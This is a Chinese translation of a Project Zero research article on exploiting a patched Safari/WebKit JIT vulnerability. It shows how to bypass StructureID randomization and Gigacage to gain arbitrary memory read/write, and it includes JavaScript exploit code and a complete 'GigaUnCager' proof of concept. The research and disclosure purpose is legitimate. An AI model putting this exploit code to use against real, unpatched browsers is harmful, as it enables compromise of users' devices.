JITSploitation II:生成读/写原语 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

JITSploitation II:生成读/写原语

fanyeee 技术 2020-09-15 10:50:00
911642
收藏

导语:本文是本系列文章的第二篇,主要讲解如何利用Safari渲染器中的JIT安全漏洞。

本系列文章由三篇组成,重点介绍在现代Web浏览器中挖掘和利用JavaScript引擎漏洞过程中所面临的各种技术挑战,并对当前的漏洞利用缓解措施进行评估。本文涉及的漏洞为CVE-2020-9802,该漏洞已经在iOS 13.5中得到了修复;而针对该漏洞缓解措施的绕过漏洞CVE-2020-9870和CVE-2020-9910,也已经在iOS 13.6中得到了相应的修复。

本文是本系列文章的第二篇,主要讲解如何利用Safari渲染器中的JIT安全漏洞。在第一篇文章中,我们讨论了DFG JIT的公共子表达式消除实现代码中的一个漏洞。在本文中,我们将为读者展示如何在addrof和fakeobj原语的基础上构建稳定的任意内存读/写原语。为此,我们先来了解一下StructureID随机化和Gigacage缓解措施,以及绕过这些缓解措施的方法。

概述

早在2016年,攻击者就已经掌握了通过addrof和fakeobj原语来伪造ArrayBuffer,进而获得可靠的任意内存读写原语的方法。不过,到了2018年年中,WebKit推出了“Gigacage”缓解技术,试图阻止这种伪造ArrayBuffers的攻击方法。Gigacage的工作原理是:将ArrayBuffer的后备存储(backing stores)移入4GB堆区域,并使用32bit相对偏移量而非纯指针来引用它们,从而提高了攻击者使用ArrayBuffers来访问笼(cage)外的数据的难度。

然而,尽管ArrayBuffer存储是被关在笼子里的,但包含数组元素的JSArray Butterflies却并非如此。由于它们可以存储原始浮点值,攻击者通过伪造这样一个 “未经装箱处理的双浮点型”JSArray,从而立即获得极为强悍的任意读写能力。这就是过去各种公开的漏洞利用方法绕过Gigacage的机制所在。(不)幸运的是,WebKit已经引入了一个旨在阻止攻击者完全伪造JavaScript对象的缓解措施——StructureID随机化。因此,攻击者要想得手,必须先绕过这个缓解措施。

因此,这篇文章将涉及下列主题:

· 详解JSObjects在内存中的布局情况;

· 绕过StructureID随机化机制,以伪造JSArray对象;

· 通过伪造的JSArray对象来获取(有限的)内存读/写原语;

· 突破Gigacage保护机制,以获得快速、可靠的任意内存读/写原语。

让我们开始吧。

伪造对象

为了伪造对象,必须知道它们在内存中的布局情况。对于JSC来说,普通的JSObject是由一个JSCell头部和后面的“Butterfly”以及可能的内联属性组成。所谓的Butterfly,就是一个存储缓冲区,用于存放对象的属性、元素以及元素的数量(长度),具体如下图所示:

1.png

像JSArrayBuffers这样的对象,通常会将更多的成员添加到JSObject布局中。

每个JSCell头都通过其中的StructureID字段引用一个结构;该字段实际上就是运行时的structureIDTable的索引。而这里的结构基本上就是一个类型信息blob,其中包含以下信息:

· 对象的基类型,如JSObject、JSArray、JSString、JSUint8Array,等等;

· 对象的属性以及这些属性相对于对象的存储位置;

· 对象的大小(以字节为单位);

· 索引类型,用于指示butterfly中存储的数组元素的类型,如JSValue、Int32或unboxed double,以及它们是作为一个连续数组存储,还是以某种其他方式存储。

最后,JSCell头部其余的二进制位用于保存GC标记状态等内容,并“缓存”一些常用的类型信息位,如索引类型。下图描绘了64位架构中普通JSObject的内存布局情况。

1.png 

实际上,对对象执行的大多数操作都必须查看对象的结构,以确定如何处理对象。因此,在伪造JSObjects时,必须知道要伪造的对象类型的结构ID。以前,我们可以使用StructureID喷射技术来预测StructureID。为此,我们只需简单地分配许多所需类型(例如Uint8Array)的对象,并为每个对象添加不同的属性,这样的话,就会为每个对象分配一个唯一的Structure和StructureID。将上述过程重复一千次,这样就可以保证1000就是Uint8Array对象的有效StructureID。为了应付这种攻击技术,StructureID随机化(2019年初推出的一种新的漏洞缓解技术)缓解机制应运而生。

StructureID随机化

这种漏洞利用缓解措施背后的思想是非常简单粗暴的:由于攻击者伪造对象的前提是必须知道有效的StructureID,那么,不妨将StructureID随机化,从而阻断其攻击途径。至于具体的随机化方案,可以查看源代码,这里就不赘述了。这样一来,攻击者就无法预测StructureID了。

实际上,攻击者还是有多种方法可以绕过StructureID随机化这种防御措施的,包括:

1. 泄漏有效的StructureID,例如通过OOB读取;

2. 滥用不检查StructureID的代码

3. 构造一个“StructureID oracle”以蛮力方式破解有效的StructureID。

对于“StructureID oracle”,其中一种构造方式就是再次滥用JIT。编译器经常使用的一种代码模式是StructureChecks,用以避免进行类型推断。如果使用伪C代码进行描述的话,它们大致如下所示:

int structID = LoadStructureId(obj)
if (structID != EXPECTED_STRUCT_ID) {
    bailout();
}

我们可以用它来构建一个“StructureID oracle”:如果可以构建一个经JIT编译的函数来检查但不使用StructureID的话,那么攻击者就能够通过观察是否发生紧急救援(bailout)来确定StructureID是否有效。反过来,这应该可以通过计时,或者通过“利用”JIT中的正确性问题来实现,这个问题会导致相同的代码在JIT和解释器中运行时产生截然不同的结果——在解释器中执行时,经过紧急救援后代码还会继续运行。这样的oracle将允许攻击者通过预测递增的索引位并遍历7个熵位的所有可能性来强行获取有效的structureID。

然而,泄露有效的structureID和滥用不检查structureID的代码似乎是更容易的选择。特别是在加载JSArray元素时,解释器中存在这样一条代码路径——它从不访问structureID。

static ALWAYS_INLINE JSValue getByVal(VM& vm, JSValue baseValue, JSValue subscript)
{
    ...;
    if (subscript.isUInt32()) {
        uint32_t i = subscript.asUInt32();
        if (baseValue.isObject()) {
            JSObject* object = asObject(baseValue);
            if (object->canGetIndexQuickly(i))
                return object->getIndexQuickly(i);

这里,getIndexQuickly直接从butterfly结构中加载元素,并且canGetIndexQuickly只会检查JSCell头部中的索引类型(其值为已知常量)和butterfly中的length:

bool canGetIndexQuickly(unsigned i) const {
    const Butterfly* butterfly = this->butterfly();
    switch (indexingType()) {
    ...;
    case ALL_CONTIGUOUS_INDEXING_TYPES:
        return i < butterfly->vectorLength() && butterfly->contiguous().at(this, i);
}

这样的话,我们就可以伪造一些看起来有点像JSArray的东西,将其backing storage指针指向另一个有效的JSArray,然后读取该JSArray的JSCell头部,而该头部中存在一个有效的structureID:

1.png 

这样,StructureID随机化就可以被完全绕过了。

下面的JavaScript代码实现了上述功能,这里是通过利用“container”对象的内联属性来伪造对象的,具体代码如下所示:

let container = {
    jscell_header: jscell_header,
    butterfly: legit_float_arr,
};
 
let container_addr = addrof(container);
// add offset from container object to its inline properties
let fake_array_addr = Add(container_addr, 16); 
let fake_arr = fakeobj(fake_array_addr);
 
// Can now simply read a legitimate JSCell header and use it.
jscell_header = fake_arr[0];
container.jscell_header = jscell_header;
 
// Can read/write to memory now by corrupting the butterfly
// pointer of the float array.
fake_arr[1] = 3.54484805889626e-310;    // 0x414141414141 in hex
float_arr[0] = 1337;

上面的代码在访问0x414141414141地址附近的内存时将发生崩溃。因此,攻击者现在获得了一个任意内存读/写原语,尽管这个原语存在一些不足之处:

· 只能读写有效的双精度浮点值;

· 由于butterfly结构也存储其自身的长度,因此,必须定位butterfly结构指针,并使其长度足够大,以访问所需的数据。

如何提高exploit的稳定性

运行当前exploit将导致内存读/写操作,并且在垃圾回收器下一次运行并扫描所有可访问的堆对象时,代码很快就会崩溃。

提高exploit代码稳定性的常用方法是让所有堆对象保持在正常工作状态(这时扫描对象并访问所有出站指针的话,不会导致GC崩溃),如果无法做到的话,则需要在发生损坏后尽快修复。对于这个exploit来说,fake_arr最初是“GC unsafe”的,因为它包含一个无效的StructureID。当它的JSCell后来被替换成一个有效的JSCell时(container.jscell_header = jscell_header;),伪造的对象就变成了“GC safe”,因为它对GC来说看起来就是一个有效的JSArray。

然而,有一些边缘情况会导致损坏的数据也被存储在引擎的其他地方。例如,前面JavaScript片段中的数组加载(jscell_header = fake_arr[0];)将由get_by_val字节码操作来执行。这个操作还保留了最后一次看到的结构ID的缓存,用来建立JIT编译器所依赖的数值统计数据。这会导致安全问题,因为伪造的JSArray的结构ID是无效的,会导致崩溃,例如当GC扫描字节码缓存时,就会发生崩溃。然而,幸运的是,修复方法是非常简单的:执行两次相同的get_by_val操作,第二次使用有效的JSArray,这样其StructureID就会被被缓存起来。

...
let fake_arr = fakeobj(fake_array_addr);
let legit_arr = float_arr;
let results = [];
for (let i = 0; i < 2; i++) {
    let a = i == 0 ? fake_arr : legit_arr;
    results.push(a[0]);
}
jscell_header = results[0];
...

这样做可以使当前exploit在GC执行过程中变得非常稳定。

绕过Gigacage缓解措施

注意:这部分主要是恶意利用JIT漏洞的一个有趣的练习,对于前面的exploit代码来说并非必不可少的,因为它已经构造了一个足够强的读/写原语。但是,它能提高exploit的运行速度,从而提高读/写性能,但是这种做法只是一个可选项。

与本文开头的描述不同的是,JSC中的ArrayBuffer实际上是由两种独立的机制来提供保护的:

Gigacage:一个长度为许多GB的虚拟内存区域,其中分配了TypedArray(和其他一些对象)的备份存储缓冲区。作为一个64位指针的替代品,backing storage指针实际上就是一个基于cage基地址的32位偏移,以防止访问cage范围之外的内存空间。

PACCage:除了Gigacage之外,TypedArray的backing store指针现在还可以通过指针认证码进行保护,防止在堆上被篡改,因为攻击者通常无法伪造有效的PAC签名。

关于组合Gigacage和PACCage的具体方案例的详细介绍,请参阅commit 205711404e。因此,TypedArray基本上是受到双重保护的,因此,评估它们是否仍然可以被用于实现读/写原语似乎是一项值得努力的工作。为此,我们仍然可以在JIT中查找潜在的问题,因为为了提高性能,它通常会对TypedArray进行特殊的处理。

DFG中的TypedArray

现在,请考虑下面的JavaScript代码:

function opt(a) {
    return a[0];
}
 
let a = new Uint8Array(1024);
for (let i = 0; i < 100000; i++) opt(a);

在DFG中进行优化时,opt函数将被翻译成大致如下所示的DFG IR(这里省略了很多细节):

CheckInBounds a, 0
v0 = GetIndexedPropertyStorage
v1 = GetByVal v0, 0
Return v1

有趣的是,对TypedArray的访问被分成了三个不同的操作:对索引的边界检查、GetIndexedPropertyStorage操作(负责获取和释放backing storage指针)和GetByVal操作(实际上将转换为单个内存加载指令)。然后,上述IR将生成如下所示的机器代码,这里假设r0保存指向TypedArray a的指针:

; bounds check omitted
Lda r2, [r0 + 24];
; Uncage and unPAC r2 here
Lda r0, [r2]
B lr

然而,如果GetIndexedPropertyStorage没有可用的通用寄存器来存储原始指针,会发生什么情况?在这种情况下,指针将不得不被存放到堆栈中。这样的话,能够破坏堆栈内存的攻击者,就可以在通过GetByVal或SetByVal操作访问内存之前,通过修改保存在堆栈中的指针来突破这两个cages的保护。

本文的其余部分将介绍如何实现这种攻击。为此,还须解决三个主要的挑战:

· 泄漏堆栈指针,以便找到并破坏保存在堆栈上的值。

· 将GetIndexedPropertyStorage与GetByVal操作分开,这样修改溢出指针的代码就可以在两者之间执行。

· 强制将未缓存的存储指针溢出到堆栈中。

寻找堆栈

事实证明,在JSC中给定一个任意堆读/写原语的情况下,寻找堆栈的指针是相当容易的:VM对象的topCallFrame成员实际上是一个进入堆栈的指针,因为JSC解释器利用了原生堆栈,所以JS的顶部调用帧基本上也是主线程的堆栈顶部。因此,寻找栈就变得像查找从全局对象到VM实例的指针链一样简单。

let global = Function('return this')();
let js_glob_obj_addr = addrof(global);
 
let glob_obj_addr = read64(Add(js_glob_obj_addr,
    offsets.JS_GLOBAL_OBJ_TO_GLOBAL_OBJ));
 
let vm_addr = read64(Add(glob_obj_addr, offsets.GLOBAL_OBJ_TO_VM));
 
let vm_top_call_frame_addr = Add(vm_addr,
    offsets.VM_TO_TOP_CALL_FRAME);
let vm_top_call_frame_addr_dbl = vm_top_call_frame_addr.asDouble();
 
let stack_ptr = read64(vm_top_call_frame_addr);
log(`[*] Top CallFrame (stack) @ ${stack_ptr}`);

分离TypedArray访问操作

上面的opt函数只在索引处(即[0])访问一次类型化数组,而GetIndexedPropertyStorage操作将直接跟在GetByVal操作后面,因此,即使将uncaged的指针溢出到堆栈上,也不可能破坏它。但是,下面的代码已经设法将这两个操作分离开来:

function opt(a) {
    a[0];
 
    // Spill code here
 
    a[1];
}

这段代码最初会被转换成如下所示的DFG IR:

v0 = GetIndexedPropertyStorage a
GetByVal v0, 0
 
// Spill code here
 
v1 = GetIndexedPropertyStorage a
GetByVal v1, 1

在经过优化处理后,两个GetIndexedPropertyStorage操作将被CSE为一个操作,从而将第二个GetByVal与GetIndexedPropertyStorage操作隔离开来:

v0 = GetIndexedPropertyStorage a
GetByVal v0, 0
 
// Spill code here
 
// Then walk over stack here and replace backing storage pointer
 
GetByVal v0, 1

但是,只有溢出的代码没有修改全局状态时,才会发生这种情况,因为这可能会解除TypedArray的缓冲区,从而使其backing storage指针无效。在这种情况下,编译器将被迫重新加载第二个getByVal的backing storage指针。因此,我们不可能通过完全随意的代码来强制溢出,但正如下面所示,这个问题的解决方案并不太难。除此之外,还需要注意的是,这里必须使用两个不同的索引,否则GetByVals也可能被CSE掉。

溢出寄存器

完成了前面两个步骤后,剩下的问题就是如何强制溢出由GetIndexedPropertyStorage生成的uncaged指针。在执行CSE的同时强制溢出的一种方法是执行一些简单的数学计算,因为这些计算通常需要大量的临时值来保持活动状态,具体实现方式如下所示:

let p = 0; // Placeholder, needed for the ascii art =)
let r0=i,r1=r0,r2=r1+r0,r3=r2+r1,r4=r3+r0,r5=r4+r3,r6=r5+r2,r7=r6+r1,r8=r7+r0;
let r9=            r8+   r7,r10=r9+r6,r11=r10+r5,   r12   =r11+p      +r4+p+p;
let r13   =r12+p   +r3,   r14=r13+r2,r15=r14+r1,   r16=   r15+p   +   r0+p+p+p;
let r17   =r16+p   +r15,   r18=r17+r15,r19=r18+   r14+p   ,r20   =p   +r19+r13;
let r21   =r19+p   +r12 ,   r22=p+      r21+p+   r11+p,   r23   =p+   r22+r10;
let r24            =r23+r9   ,r25   =p   +r24   +r8+p+p   +p   ,r26   =r25+r7;
let r27   =r26+r6,r28=r27+p   +p   +r5+   p,   r29=r28+   p    +r4+   p+p+p+p;
let r30   =r29+r3,r31=r30+r2      ,r32=p      +r31+r1+p      ,r33=p   +r32+r0;
let r34=r33+r32,r35=r34+r31,r36=r25+r30,r37=r36+r29,r38=r37+r28,r39=r38+r27+p;
 
let r = r39; // Keep the entire computation alive, or nothing will be spilled.

上面计算的序列有点类似于斐波那契序列,但需要保存中间结果,因为在序列的后面还需要用到它们。不幸的是,这种方法有些脆弱,因为对引擎的各个部分(特别是寄存器分配器)进行不相关的修改很容易破坏堆栈溢出。

还有另一种更简单的方法(虽然可能性能稍差,当然视觉上也不那么吸引人),几乎可以保证原始存储指针会被溢出到堆栈:只需访问与通用寄存器一样多的TypedArrays,而不是只访问一个。在这种情况下,由于没有足够的寄存器来容纳所有的原始backing storage指针,其中一些将不得不溢出到堆栈,这样的话,我们就可以在堆栈中找到并替换它们,具体实现代码如下所示:

typed_array1[0];
typed_array2[0];
...;
typed_arrayN[0];
// Walk over stack, find and replace spilled backing storage pointer
let stack = ...;   // JSArray pointing into stack
for (let i = 0; i < 512; i++) {
    if (stack[i] == old_ptr) {
        stack[i] = new_ptr;
        break;
    }
}
 
typed_array1[0] = val_to_write;
typed_array2[0] = val_to_write;
...;
typed_arrayN[0] = val_to_write;

在克服了主要的挑战后,现在就可以实施攻击了,在本文附带了相应的POC,供感兴趣的读者参考。总而言之,这项技术在最初的实施过程中是相当麻烦的,并且还有一些问题必须解决,详情请看PoC。然而,一旦实现,所产生的代码不仅可靠性高,而且速度也非常快,几乎可以在macOS和iOS上瞬间实现真正的任意内存读/写语言,并且适用于不同的WebKit版本,根本无需进行额外的修改。

小结

本文为读者展示了攻击者是如何利用众所周知的addrof和fakeobj原语来获取WebKit中的任意内存读/写能力的。为此,攻击者必须绕过StructureID缓解措施,而绕过Gigacage通常只是可选的(但很有趣)。到目前为止,我的个人体会是:

· StructureID随机化似乎很容易绕过。由于JSCell位中存储了相当数量的类型信息,而攻击者可以据此进行推测,从而发现并滥用许多其他不需要有效structureID的操作。此外,可以转换为堆越界读取的漏洞也可能被攻击者被用来泄漏有效的structureID。

· 在目前的状态下,Gigacage作为一种安全防御措施的目的对我来说并不完全清楚,因为(几乎)任意的读/写原语可以从不受Gigacage约束的普通jsarray构造出来。在这一点上,正如这里所演示的那样,Gigacage也可以完全被绕过,即使实践中可能根本无需这样做。

· 我认为将来需要深入研究一下移除未经装箱处理的双精度浮点型JSArray并保留其余JSArray类型(这些类型都存储为经过装箱处理的JSValues)会带来什么样的影响:其中包括对于安全性和性能方面的影响。这可能会使StructureID随机化和Gigacage防御措施变得更加坚固。就本文介绍的漏洞利用方法来说,这将首先阻止addrof和fakeobj原语的构造(因为无法再实现double

本系列的最后一部分将展示如何通过读/写原语获得PC控制权,尽管存在PAC和APRR等各种缓解措施,也无法阻止这种攻击。

GigaUnCager POC

// This function achieves arbitrary memory read/write by abusing TypedArrays.
//
// In JSC, the typed array backing storage pointers are caged as well as PAC
// signed. As such, modifying them in memory will either just lead to a crash
// or only yield access to the primitive Gigacage region which isn't very useful.
//
// This function bypasses that when one already has a limited read/write primitive:
// 1. Leak a stack pointer
// 2. Access NUM_REGS+1 typed array so that their uncaged and PAC authenticated backing
//    storage pointer are loaded into registers via GetIndexedPropertyStorage.
//    As there are more of these pointers than registers, some of the raw pointers
//    will be spilled to the stack.
// 3. Find and modify one of the spilled pointers on the stack
// 4. Perform a second access to every typed array which will now load and
//    use the previously spilled (and now corrupted) pointers.
//
// It is also possible to implement this using a single typed array and separate
// code to force spilling of the backing storage pointer to the stack. However,
// this way it is guaranteed that at least one pointer will be spilled to the
// stack regardless of how the register allocator works as long as there are
// more typed arrays than registers.
//
// NOTE: This function is only a template, in the final function, every
// line containing an "$r" will be duplicated NUM_REGS times, with $r
// replaced with an incrementing number starting from zero.
//
const READ = 0, WRITE = 1;
let memhax_template = function memhax(memviews, operation, address, buffer, length, stack, needle) {
    // See below for the source of these preconditions.
    if (length > memviews[0].length) {
        throw "Memory access too large";
    } else if (memviews.length % 2 !== 1) {
        throw "Need an odd number of TypedArrays";
    }
 
    // Save old backing storage pointer to restore it afterwards.
    // Otherwise, GC might end up treating the stack as a MarkedBlock.
    let savedPtr = controller[1];
 
    // Function to get a pointer into the stack, below the current frame.
    // This works by creating a new CallFrame (through a native funcion), which
    // will be just below the CallFrame for the caller function in the stack,
    // then reading VM.topCallFrame which will be a pointer to that CallFrame:
    // https://github.com/WebKit/webkit/blob/e86028b7dfe764ab22b460d150720b00207f9714/
    // Source/JavaScriptCore/runtime/VM.h#L652)
    function getsp() {
        function helper() {
            // This code currently assumes that whatever precedes topCallFrame in
            // memory is non-zero. This seems to be true on all tested platforms.
            controller[1] = vm_top_call_frame_addr_dbl;
            return memarr[0];
        }
        // DFGByteCodeParser won't inline Math.max with more than 3 arguments
        // https://github.com/WebKit/webkit/blob/e86028b7dfe764ab22b460d150720b00207f9714/
        // Source/JavaScriptCore/dfg/DFGByteCodeParser.cpp#L2244
        // As such, this will force a new CallFrame to be created.
        let sp = Math.max({valueOf: helper}, -1, -2, -3);
        return Int64.fromDouble(sp);
    }
 
    let sp = getsp();
 
    // Set the butterfly of the |stack| array to point to the bottom of the current
    // CallFrame, thus allowing us to read/write stack data through it. Our current
    // read/write only works if the value before what butterfly points to is nonzero.
    // As such, we might have to try multiple stack values until we find one that works.
    let tries = 0;
    let stackbase = new Int64(sp);
    let diff = new Int64(8);
    do {
        stackbase.assignAdd(stackbase, diff);
        tries++;
        controller[1] = stackbase.asDouble();
    } while (stack.length < 512 && tries < 64);
 
    // Load numregs+1 typed arrays into local variables.
    let m$r = memviews[$r];
 
    // Load, uncage, and untag all array storage pointers.
    // Since we have more than numreg typed arrays, at least one of the
    // raw storage pointers will be spilled to the stack where we'll then
    // corrupt it afterwards.
    m$r[0] = 0;
 
    // After this point and before the next access to memview we must not
    // have any DFG operations that write Misc (and as such World), i.e could
    // cause a typed array to be detached. Otherwise, the 2nd memview access
    // will reload the backing storage pointer from the typed array.
 
    // Search for correct offset.
    // One (unlikely) way this function could fail is if the compiler decides
    // to relocate this loop above or below the first/last typed array access.
    // This could easily be prevented by creating artificial data dependencies
    // between the typed array accesses and the loop.
    //
    // If we wanted, we could also cache the offset after we found it once.
    let success = false;
    // stack.length can be a negative number here so fix that with a bitwise and.
    for (let i = 0; i < Math.min(stack.length & 0x7fffffff, 512); i++) {
        // The multiplication below serves two purposes:
        //
        // 1. The GetByVal must have mode "SaneChain" so that it doesn't bail
        //    out when encountering a hole (spilled JSValues on the stack often
        //    look like NaNs): https://github.com/WebKit/webkit/blob/
        //    e86028b7dfe764ab22b460d150720b00207f9714/Source/JavaScriptCore/
        //    dfg/DFGFixupPhase.cpp#L949
        //    Doing a multiplication achieves that: https://github.com/WebKit/
        //    webkit/blob/e86028b7dfe764ab22b460d150720b00207f9714/Source/
        //    JavaScriptCore/dfg/DFGBackwardsPropagationPhase.cpp#L368
        //
        // 2. We don't want |needle| to be the exact memory value. Otherwise,
        //    the JIT code might spill the needle value to the stack as well,
        //    potentially causing this code to find and replace the spilled needle
        //    value instead of the actual buffer address.
        //
        if (stack[i] * 2 === needle) {
            stack[i] = address;
            success = i;
            break;
        }
    }
 
    // Finally, arbitrary read/write here :)
    if (operation === READ) {
        for (let i = 0; i < length; i++) {
            buffer[i] = 0;
            // We assume an odd number of typed arrays total, so we'll do one
            // read from the corrupted address and an even number of reads
            // from the inout buffer. Thus, XOR gives us the right value.
            // We could also zero out the inout buffer before instead, but
            // this seems nicer :)
            buffer[i] ^= m$r[i];
        }
    } else if (operation === WRITE) {
        for (let i = 0; i < length; i++) {
            m$r[i] = buffer[i];
        }
    }
 
    // For debugging: can fetch SP here again to verify we didn't bail out in between.
    //let end_sp = getsp();
 
    controller[1] = savedPtr;
 
    return {success, sp, stackbase};
}
 
// Add one to the number of registers so that:
// - it's guaranteed that there are more values than registers (note this is
//   overly conservative, we'd surely get away with less)
// - we have an odd number so the XORing logic for READ works correctly
let nregs = NUM_REGS + 1;
 
// Build the real function from the template :>
// This simply duplicates every line containing the marker nregs times.
let source = [];
let template = memhax_template.toString();
for (let line of template.split('\n')) {
    if (line.includes('$r')) {
        for (let reg = 0; reg < nregs; reg++) {
            source.push(line.replace(/\$r/g, reg.toString()));
        }
    } else {
        source.push(line);
    }
}
source = source.join('\n');
let memhax = eval((${source}));
//log(memhax);
 
// On PAC-capable devices, the backing storage pointer will have a PAC in the
// top bits which will be removed by GetIndexedPropertyStorage. As such, we are
// looking for the non-PAC'd address, thus the bitwise AND.
if (IS_IOS) {
    buf_addr.assignAnd(buf_addr, new Int64('0x0000007fffffffff'));
}
// Also, we don't search for the address itself but instead transform it slightly.
// Otherwise, it could happen that the needle value is spilled onto the stack
// as well, thus causing the function to corrupt the needle value.
let needle = buf_addr.asDouble() * 2;
 
log(`[*] Constructing arbitrary read/write by abusing TypedArray @ ${buf_addr}`);
 
// Buffer to hold input/output data for memhax.
let inout = new Int32Array(0x1000);
 
// This will be the memarr after training.
let dummy_stack = [1.1, buf_addr.asDouble(), 2.2];
 
let views = new Array(nregs).fill(view);
 
let lastSp = 0;
let spChanges = 0;
for (let i = 0; i < ITERATIONS; i++) {
    let out = memhax(views, READ, 13.37, inout, 4, dummy_stack, needle);
    out = memhax(views, WRITE, 13.37, inout, 4, dummy_stack, needle);
    if (out.sp.asDouble() != lastSp) {
        lastSp = out.sp.asDouble();
        spChanges += 1;
        // It seems we'll see 5 different SP values until the function is FTL compiled
        if (spChanges == 5) {
            break;
        }
    }
}
 
// Now use the real memarr to access stack memory.
let stack = memarr;
 
// An address that's safe to clobber
let scratch_addr = Add(buf_addr, 42*4);
 
// Value to write
inout[0] = 0x1337;
 
for (let i = 0; i < 10; i++) {
    view[42] = 0;
 
    let out = memhax(views, WRITE, scratch_addr.asDouble(), inout, 1, stack, needle);
 
    if (view[42] != 0x1337) {
        throw "failed to obtain reliable read/write primitive";
    }
}
 
log([+] Got stable arbitrary memory read/write!);
if (DEBUG) {
    log("[*] Verifying exploit stability...");
    gc();
    log("[*] All stable!");
}
本文翻译自:https://googleprojectzero.blogspot.com/2020/09/jitsploitation-two.html如若转载,请注明原文地址:
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务